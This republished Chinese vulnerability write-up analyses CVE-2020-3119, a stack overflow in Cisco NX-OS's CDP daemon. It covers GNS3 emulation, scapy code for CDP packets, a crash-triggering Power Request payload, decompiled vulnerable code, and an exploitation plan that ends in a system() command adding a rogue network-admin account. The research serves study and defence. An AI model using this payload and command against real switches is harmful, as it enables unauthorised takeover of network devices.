28

CVE-2020-3119 Cisco CDP协议栈溢出漏洞分析

 3 years ago
source link: https://www.freebuf.com/vuls/231873.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Cisco Discovery Protocol(CDP)协议是用来发现局域网中的Cisco设备的链路层协议。 最近Cisco CDP协议爆了几个漏洞,挑了个栈溢出的CVE-2020-3119先来搞搞,Armis Labs也公开了他们的分析Paper。

环境搭建

虽然最近都在搞IoT相关的,但是还是第一次搞这种架构比较复杂的中型设备,大部分时间还是花在折腾环境上。

3119这个CVE影响的是Cisco NX-OS类型的设备,去Cisco的安全中心找了下这个CVE,搜搜受影响的设备。发现受该漏洞影响的设备都挺贵的,也不好买,所以暂时没办法真机测试研究了。随后搜了一下相关设备的固件,需要氪金购买。然后去万能的淘宝搜了下,有代购业务,有的买五六十(亏),有的卖十几块。

固件到手后,我往常第一想法是解开来,第二想法是跑起来。最开始我想着先把固件解开来,找找cdp的binary,但是在解固件的时候却遇到了坑。

如今这世道,解固件的工具也就binwalk,我也就只知道这一个,也问过朋友,好像也没有其他好用的了。(如果有,求推荐)。

但是binwalk的算法在遇到非常多的压缩包的情况下,非常耗时,反正我在挂那解压了两天,还没解完一半。在解压固件这块折腾了好久,最后还是无果而终。

最后只能先想办法把固件跑起来了,正好知道一个软件可以用来仿真Cisco设备————GNS3。

GNS3的使用说明

学会了使用GNS3以后,发现这软件真好用。

首先我们需要下载安全GNS3软件,然后还需要下载GNS3 VM。个人电脑上装个GNS3提供了可视化操作的功能,算是总控。GNS3 VM是作为GNS3的服务器,可以在本地用虚拟机跑起来,也可以放远程。GNS3仿真的设备都是在GNS3服务器上运行起来的。

1.首先设置好GNS3 VM

IveAraJ.jpg!web

2.创建一个新模板

6RfqUrY.jpg!web

3.选择交换机 Cisco NX-OSv 9000

6V3eyqB.jpg!web

在这里我们发现是用qemu来仿真设备的,所以前面下载的时候需要下载qcow2。

随后就是把相应版本的固件导入到GNS3 Server。

zq6jaeZ.jpg!web

导入完成后,就能在交换机一栏中看到刚才新添加的设备。

4.把Cisco设备拖到中央,使用网线直连设备

fUVbMvU.jpg!web

这里说明一下,Toolbox是我自己添加的一个ubuntu docker模板。最开始我是使用docker和交换机设备的任意一张网卡相连来进行操作测试的。

不过随后我发现,GNS3还提供的了一个功能,也就是图中的Cloud1,它可以代表你宿主机/GNS3 Server中的任意一张网卡。

因为我平常使用的工具都是在Mac中的ubuntu虚拟机里,所以我现在的使用的方法是,让ubuntu虚拟机的一张网卡和Cisco交换机进行直连。

PS:初步研究了下,GNS3能提供如此简单的网络直连,使用的是其自己开发的ubridge,Github上能搜到,目测是通过UDP来转发流量包。

IRvIjaN.jpg!web

在测试的过程中,我们还可以右击这根直连线,来使用wireshark抓包。

5.启动所有节点

最后就是点击上方工具栏的启动键,来启动你所有的设备,如果不想全部启动,也可以选择单独启动。

研究Cisco交换机

不过这个时候网络并没有连通,还需要通过串口连接到交换机进行网络配置。GNS3默认情况下会把设备的串口通过telnet转发出来,我们可以通过GNS3界面右上角看到telnet的ip/端口。

iqquqa2.jpg!web

第一次连接到交换机需要进行一次初始化设置,设置好后,可以用你设置的管理员账号密码登陆到Cisco管理shell。

经过研究,发现该设备的结构是,qemu启动了一个bootloader,然后在bootloader的文件系统里面有一个nxos.9.2.3.bin文件,该文件就是该设备的主体固件。启动以后是一个Linux系统,在Linux系统中又启动了一个虚拟机guestshell,还有一个vsh.bin。在该设备中,用vsh替代了我们平常使用Linux时使用的bash。我们telnet连进来后,看到的就是vsh界面。在vsh命令中可以设置开启telnet/ssh,还可以进入Linux shell。但是进入的是guestshell虚拟机中的Linux系统。

本次研究的cdp程序是无法在虚拟机guestshell中看到的。经过后续研究,发现vsh中存在python命令,而这个python是存在于Cisco宿主机中的nxpython程序。所以可以同python来获取到Cisco宿主机的Linux shell。然后通过mac地址找到你在GNS3中设置连接的网卡,进行ip地址的设置。

bash
Cisco# python
Python 2.7.11 (default, Feb 26 2018, 03:34:16)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("/bin/bash")
bash-4.3$ id
uid=2002(admin) gid=503(network-admin) groups=503(network-admin),504(network-operator)
bash-4.3$ sudo -i
root@Cisco#ifconfig eth8
eth8      Link encap:Ethernet  HWaddr 0c:76:e2:d1:ac:07
          inet addr:192.168.102.21  Bcast:192.168.102.255  Mask:255.255.255.0
          UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:82211 errors:61 dropped:28116 overruns:0 frame:61
          TX packets:137754 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6639702 (6.3 MiB)  TX bytes:246035115 (234.6 MiB)

root@Cisco#ps aux|grep cdp
root     10296  0.0  0.8 835212 70768 ?        Ss   Mar18   0:01 /isan/bin/cdpd
root     24861  0.0  0.0   5948  1708 ttyS0    S+   05:30   0:00 grep cdp

设置好ip后,然后可以在我们mac上的ubuntu虚拟机里面进行网络连通性的测试,正常情况下这个时候网络已经连通了。

之后可以把ubuntu虚拟机上的公钥放到cisoc设备的 /root/.ssh/authorized_keys ,然后就能通过ssh连接到了cisco的bash shell上面。该设备的Linux系统自带程序挺多的,比如后续调试的要使用的gdbserver。nxpython还装了scapy。

使用scapy发送CDP包

接下来我们来研究一下怎么发送cdp包,可以在Armis Labs发布的分析中看到cdp包格式,同样我们也能开启Cisco设备的cdp,查看Cisco设备发送的cdp包。

Cisco#conf ter
Cisco(config)# cdp enable
# 比如我前面设置直连的上第一个网口
Cisco(config)# interface ethernet 1/7
Cisco(config-if)# no shutdown
Cisco(config-if)# cdp enable
Cisco(config-if)# end
Cisco# show cdp interface ethernet 1/7
Ethernet1/7 is up
    CDP enabled on interface
    Refresh time is 60 seconds
    Hold time is 180 seconds

然后我们就能通过wireshark直接抓网卡的包,或者通过GNS3抓包,来研究CDP协议的格式。

myyuYzA.jpg!web 因为我习惯使用python写PoC,所以我开始研究怎么使用python来发送CDP协议包,然后发现scapy内置了一些CDP包相关的内容。

下面给一个简单的示例:

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

触发漏洞

下一步,就是研究怎么触发漏洞。首先,把cdpd从设备中给取出来,然后把二进制丢到ida里找漏洞点。根据Armis Labs发布的漏洞分析,找到了该漏洞存在于 cdpd_poe_handle_pwr_tlvs 函数,相关的漏洞代码如下:

if ( (signed int)v28 > 0 )
      {
        v35 = (int *)(a3 + 4);
        v9 = 1;
        do
        {
          v37 = v9 - 1;
          v41[v9 - 1] = *v35;
          *(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));
          if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
          {
            *(_DWORD *)v38 = 104;
            snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));
            sdwrap_hist_event(7536640, strlen(&s) + 5, v38);
          }
          if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
          {
            v24 = *(&v40 + v9);
            buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
          }
          snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);
          sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
          *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);
          ++v35;
          ++v9;
        }
        while ( v9 != v28 + 1 );
      }

后续仍然是根据Armis Labs漏洞分析文章中的内容,只要在cdp包中增加Power Request和Power Level就能触发cdpd程序crash:

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

漏洞利用

首先看看二进制程序的保护情况:

$ checksec cdpd_9.2.3
    Arch:     i386-32-little

    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'

发现只开启了NX和PIE保护,32位程序。

因为该程序没法进行交互,只能一次性发送完所有payload进行利用,所以没办法泄漏地址。因为是32位程序,cdpd程序每次crash后会自动重启,所以我们能爆破地址。

在编写利用脚本之前需要注意几点:

1.栈溢出在覆盖了返回地址后,后续还会继续覆盖传入函数参数的地址。

*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);

并且因为在漏洞代码附近有这样的代码,需要向a1地址附近的地址写入值。如果只覆盖返回地址,没法只通过跳转到一个地址达到命令执行的目的。所以我们的payload需要把a1覆盖成一个可写的地址。

2.在 cdpd_poe_handle_pwr_tlvs 函数中,有很多分支都会进入到 cdpd_send_pwr_req_to_poed 函数,而在该函数中有一个 __memcpy_to_buf 函数,这个函数限制了 Power Requested 的长度在40字节以内。这么短的长度,并不够进行溢出利用。所以我们不能进入到会调用该函数的分支。

v10 = *(_WORD *)(a1 + 1208);
      v11 = *(_WORD *)(a1 + 1204);
      v12 = *(_DWORD *)(a1 + 1212);
      if ( v32 != v10 || v31 != v11 )

我们需要让该条件判断为False,不进入该分支。因此需要构造好覆盖的a1地址的值。

3.我们利用的最终目的不是执行 execve("/bin/bash") ,因为没法进行交互,所以就算执行了这命令也没啥用。那么我们能有什么利用方法呢?第一种,我们可以执行反连shell的代码。第二种,我们可以添加一个管理员账号,比如执行如下命令:

/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

我们可以通过执行system(cmd)达到目的。那么接下来的问题是怎么传参呢?经过研究发现,在CDP协议中的DeviceID相关的字段内容都储存在堆上,并且该堆地址就储存在栈上,我们可以通过ret来调整栈地址。这样就能成功向system函数传递任意参数了。

演示视频地址: https://paper.seebug.org/1154/

参考链接

https://go.armis.com/hubfs/White-papers/Armis-CDPwn-WP.pdf

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200205-nxos-cdp-rce

https://software.cisco.com/download/home/286312239/type/282088129/release/9.2(3)?i=!pp

https://scapy.readthedocs.io/en/latest/api/scapy.contrib.cdp.html

原文地址: https://paper.seebug.org/1154/

英文版本: https://paper.seebug.org/1156/

*本文作者:Hcamael@知道创宇404实验室,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK